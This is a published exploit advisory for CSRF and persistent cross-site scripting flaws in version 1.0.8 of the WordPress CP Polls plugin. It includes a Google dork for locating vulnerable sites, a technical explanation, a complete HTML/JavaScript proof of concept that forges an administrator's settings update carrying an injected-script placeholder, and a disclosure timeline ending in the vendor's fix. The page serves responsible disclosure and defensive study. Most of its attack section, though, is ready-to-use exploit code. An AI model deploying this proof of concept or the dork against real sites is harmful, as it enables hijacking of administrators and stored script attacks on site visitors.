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WordPress CP Polls 1.0.8 Cross Site Request Forgery / Cross Site Scripting

WordPress CP Polls 1.0.8 Cross Site Request Forgery / Cross Site Scripting
Posted Mar 2, 2016
Authored by Joaquin Ramirez Martinez

WordPress CP Polls plugin version 1.0.8 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | a8c278ab09ed8b45b25ffdffbae3dc0e

WordPress CP Polls 1.0.8 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress CP Polls 1.0.8 - CSRF - Update poll settings & Persistent XSS
# Date: 2016-02-22
# Google Dork: Index of /wp-content/plugins/cp-polls/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Plugin URI: http://wordpress.dwbooster.com/forms/cp-polls
# Version: 1.0.8

=============
Description
=============

With **CP Polls** you can publish a poll into a page/post and optionally display statistics of the results.
You can receive email notifications every time a vote is added or opt to receive Excel reports periodically.

The Polls can have dependant questions, this means that some questions are displayed depending of the
selection made on other questions.

(copy of README.txt)


===================
Technical details
===================

CP Polls plugin for wordpress is vulnerable to Persistent Cross-site scripting is not sanitizing the
values of the options before savinng to database. This issue can be exploited by an attacker with
CSRF by sending a malicious link to a wordpress administrator. If administrator clicks the link, the
action will be executed because there isn't CSRF protection.

=========================
Proof of Concept (html)
=========================

<html>
<!-- CSRF PoC - Burp Suite i0 SecLab plugin -->
<!-- We can find the Poll id into the source code of a post with a cp poll and looking for ´CP_Polls_id´.
We can find something like: <input type="hidden" name="CP_Polls_id" value="4" />
4 is the Poll's id, now we have the id and we can make a csrf attack.
-->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:80/wordpress/wp-admin/options-general.php?page=CP_Polls&cal=1", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Accept-Language", "es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1");
xhr.withCredentials = true;
var body = "CP_Polls_post_options=1&CP_Polls_id= [ Poll id to update! ]&poll_limit=2&poll_private_reports=false&poll_see_results=true&poll_text_seeres= [PERSISTENT CODE INJECT HERE] &poll_text_private=s&poll_text_votes=votes&fp_return_page=&form_structure=%5B%5B%7B%22form_identifier%22%3A%22%22%2C%22name%22%3A%22fieldname1%22%2C%22shortlabel%22%3A%22%22%2C%22index%22%3A0%2C%22ftype%22%3A%22fradio%22%2C%22userhelp%22%3A%22%22%2C%22userhelpTooltip%22%3Afalse%2C%22csslayout%22%3A%22%22%2C%22title%22%3A%22Select+a+Choice%22%2C%22layout%22%3A%22one_column%22%2C%22required%22%3Atrue%2C%22choiceSelected%22%3A%22%22%2C%22showDep%22%3Afalse%2C%22choices%22%3A%5B%22First+Choice%22%2C%22Second+Choice%22%2C%22Third+Choice%22%5D%2C%22choicesVal%22%3A%5B%22First+Choice%22%2C%22Second+Choice%22%2C%22Third+Choice%22%5D%2C%22choicesDep%22%3A%5B%5B%5D%2C%5B%5D%2C%5B%5D%5D%2C%22fBuild%22%3A%7B%7D%7D%5D%2C%5B%7B%22title%22%3A%22 [PERSISTENT CODE INJECT HERE] %22%2C%22description%22%3A%22 [PERSISTENT CODE INJECT HERE] %22%2C%22formlayout%22%3A%22top_aligned%22%2C%22formtemplate%22%3A%22%22%7D%5D%5D&vs_text_submitbtn= [PERSISTENT CODE INJECT HERE] &vs_text_previousbtn=Previous&vs_text_nextbtn=Next&vs_use_validation=true&vs_text_is_required=This+field+is+required.&cv_text_enter_valid_captcha= [PERSISTENT CODE INJECT HERE] .&vs_text_is_email=Please+enter+a+valid+email+address.&vs_text_datemmddyyyy=Please+enter+a+valid+date+with+this+format%28mm%2Fdd%2Fyyyy%29&vs_text_dateddmmyyyy=Please+enter+a+valid+date+with+this+format%28dd%2Fmm%2Fyyyy%29&vs_text_number=Please+enter+a+valid+number.&vs_text_digits=Please+enter+only+digits.&vs_text_max=Please+enter+a+value+less+than+or+equal+to+%7B0%7D.&vs_text_min=Please+enter+a+value+greater+than+or+equal+to+%7B0%7D.&fp_emailfrommethod=fixed&fp_from_email=admin%40localhost.com&fp_destination_emails=admin%40localhost.com&fp_subject=Contact+from+the+blog...&fp_inc_additional_info=true&fp_emailformat=text&fp_message=The+following+contact+message+has+been+sent%3A%0D%0A%0D%0A%3C%25INFO%25%3E%0D%0A%0D%0A&cu_enable_copy_to_user=false&cu_subject=Confirmation%3A+Message+received...&cu_emailformat=text&cu_message=Thank+you+for+your+message.+We+will+reply+you+as+soon+as+possible.%0D%0A%0D%0AThis+is+a+copy+of+the+data+sent%3A%0D%0A%0D%0A%3C%25INFO%25%3E%0D%0A%0D%0ABest+Regards.&cv_enable_captcha=false&cv_width=170&cv_height=60&cv_chars=5&cv_min_font_size=25&cv_max_font_size=35&cv_noise=200&cv_noise_length=4&cv_background=ffffff&cv_border=000000&cv_font=font-1.ttf&rep_enable=no&rep_days=1&rep_hour=0&rep_emails=&rep_subject=as&rep_emailformat=text&rep_message=Attached+you+will+find+the+data+from+the+form+submissions.&submit=Save+Changes";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

==========
CREDITS
==========

Vulnerability discovered by:
Joaquin Ramirez Martinez [i0 security-lab]
joaquin.ramirez.mtz.lab[at]gmail[dot]com
https://www.facebook.com/I0-security-lab-524954460988147/
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-02-10 vulnerability discovered
2016-02-22 reported to vendor
2016-03-01 released cp polls v1.0.9
2016-03-01 public disclousure

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